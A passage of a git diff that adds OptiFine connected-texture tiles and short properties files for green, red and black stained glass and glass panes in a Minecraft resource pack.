b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/24.png new file mode 100644 index 00000000..2d4ab467 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/25.png new file mode 100644 index 00000000..8d282896 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/26.png new file mode 100644 index 00000000..b2aa6f9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/27.png new file mode 100644 index 00000000..120a9bd7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/28.png new file mode 100644 index 00000000..19ca5f5a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/29.png new file mode 100644 index 00000000..8a8c17ee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/3.png new file mode 100644 index 00000000..9efad318 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/30.png new file mode 100644 index 00000000..8e6f98ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/31.png new file mode 100644 index 00000000..cb616923 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/32.png new file mode 100644 index 00000000..ccb2dc67 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/33.png new file mode 100644 index 00000000..6373bf13 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/34.png new file mode 100644 index 00000000..ccebff18 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/35.png new file mode 100644 index 00000000..ae5e9481 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/36.png new file mode 100644 index 00000000..a818c9fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/37.png new file mode 100644 index 00000000..7705c143 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/38.png new file mode 100644 index 00000000..2c3c4b8c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/39.png new file mode 100644 index 00000000..ec24732f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/4.png new file mode 100644 index 00000000..f3003ac3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/40.png new file mode 100644 index 00000000..dd1ae3b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/41.png new file mode 100644 index 00000000..50f722c5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/42.png new file mode 100644 index 00000000..8cc645ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/43.png new file mode 100644 index 00000000..3a8aa9bc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/44.png new file mode 100644 index 00000000..8298ffd9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/45.png new file mode 100644 index 00000000..f81edbca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/46.png new file mode 100644 index 00000000..a3ff7e6f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/5.png new file mode 100644 index 00000000..c6375173 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/6.png new file mode 100644 index 00000000..89bf8899 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/7.png new file mode 100644 index 00000000..7d264a9c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/8.png new file mode 100644 index 00000000..9a9725fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/9.png new file mode 100644 index 00000000..9645de2f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_green.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_green.properties new file mode 100644 index 00000000..cf1961c3 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_green.properties @@ -0,0 +1,5 @@ +# Stained glass green +matchBlocks=green_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_pane_green.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_pane_green.properties new file mode 100644 index 00000000..301aab64 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/glass_pane_green.properties @@ -0,0 +1,6 @@ +# Stained glass pane green +matchBlocks=green_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/0.png new file mode 100644 index 00000000..db4c5eb7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/1.png new file mode 100644 index 00000000..3e8c7692 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/10.png new file mode 100644 index 00000000..247b8156 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/11.png new file mode 100644 index 00000000..e4497bf5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/12.png new file mode 100644 index 00000000..3d567bee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/13.png new file mode 100644 index 00000000..b593cb89 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/14.png new file mode 100644 index 00000000..42924abc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/15.png new file mode 100644 index 00000000..db7d4e9c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/16.png new file mode 100644 index 00000000..619b2e7d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/17.png new file mode 100644 index 00000000..363c81ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/18.png new file mode 100644 index 00000000..e60f6273 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/19.png new file mode 100644 index 00000000..f439b47c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/2.png new file mode 100644 index 00000000..72f461b0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/20.png new file mode 100644 index 00000000..b62e65b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/21.png new file mode 100644 index 00000000..ae1c143a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/22.png new file mode 100644 index 00000000..cc952b33 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/23.png new file mode 100644 index 00000000..32ad0f25 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/24.png new file mode 100644 index 00000000..6f31642b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/25.png new file mode 100644 index 00000000..3bae303e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/26.png new file mode 100644 index 00000000..074a5276 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/27.png new file mode 100644 index 00000000..336f054c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/28.png new file mode 100644 index 00000000..6aea7776 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/29.png new file mode 100644 index 00000000..382bf646 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/3.png new file mode 100644 index 00000000..69b8bb31 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/30.png new file mode 100644 index 00000000..88faee4e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/31.png new file mode 100644 index 00000000..c452b15d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/32.png new file mode 100644 index 00000000..da6f8768 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/33.png new file mode 100644 index 00000000..a25b3aff Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/34.png new file mode 100644 index 00000000..c437e2cc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/35.png new file mode 100644 index 00000000..dbff65db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/36.png new file mode 100644 index 00000000..c2aa088e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/37.png new file mode 100644 index 00000000..64f2e3c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/38.png new file mode 100644 index 00000000..3903aab5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/39.png new file mode 100644 index 00000000..5491189a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/4.png new file mode 100644 index 00000000..de22d1e9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/40.png new file mode 100644 index 00000000..61a217de Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/41.png new file mode 100644 index 00000000..de9db5e5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/42.png new file mode 100644 index 00000000..3c3f5bb0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/43.png new file mode 100644 index 00000000..b221b3d8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/44.png new file mode 100644 index 00000000..b4799e59 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/45.png new file mode 100644 index 00000000..c0b53702 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/46.png new file mode 100644 index 00000000..fec4f8fe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/5.png new file mode 100644 index 00000000..64c2d642 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/6.png new file mode 100644 index 00000000..3d59656f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/7.png new file mode 100644 index 00000000..c83cac50 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/8.png new file mode 100644 index 00000000..59e1bc34 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/9.png new file mode 100644 index 00000000..eecb4a77 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_pane_red.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_pane_red.properties new file mode 100644 index 00000000..27d30f0e --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_pane_red.properties @@ -0,0 +1,6 @@ +# Stained glass pane red +matchBlocks=red_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_red.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_red.properties new file mode 100644 index 00000000..6ec7cb9c --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/14_glass_red/glass_red.properties @@ -0,0 +1,5 @@ +# Stained glass red +matchBlocks=red_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/0.png new file mode 100644 index 00000000..06f34279 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/1.png new file mode 100644 index 00000000..7e63ee76 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/10.png new file mode 100644 index 00000000..9142b6f2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/11.png new file mode 100644 index 00000000..f031f1c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/12.png new file mode 100644 index 00000000..273dc8c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/13.png new file mode 100644 index 00000000..0c367992 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/14.png new file mode 100644 index 00000000..6275d954 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/15.png new file mode 100644 index 00000000..8ba895b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/16.png new file mode 100644 index 00000000..bc2543ee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/17.png new file mode 100644 index 00000000..2f7fe8ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/18.png new file mode 100644 index 00000000..0d5f9f2b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/19.png new file mode 100644 index 00000000..3aa27e5e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/2.png new file mode 100644 index 00000000..32c68724 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/20.png new file mode 100644 index 00000000..f0ded67f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/21.png new file mode 100644 index 00000000..dbb6121f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/22.png new file mode 100644 index 00000000..69bfbc03 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/23.png new file mode 100644 index 00000000..07f46ac8 Binary files /dev/null and 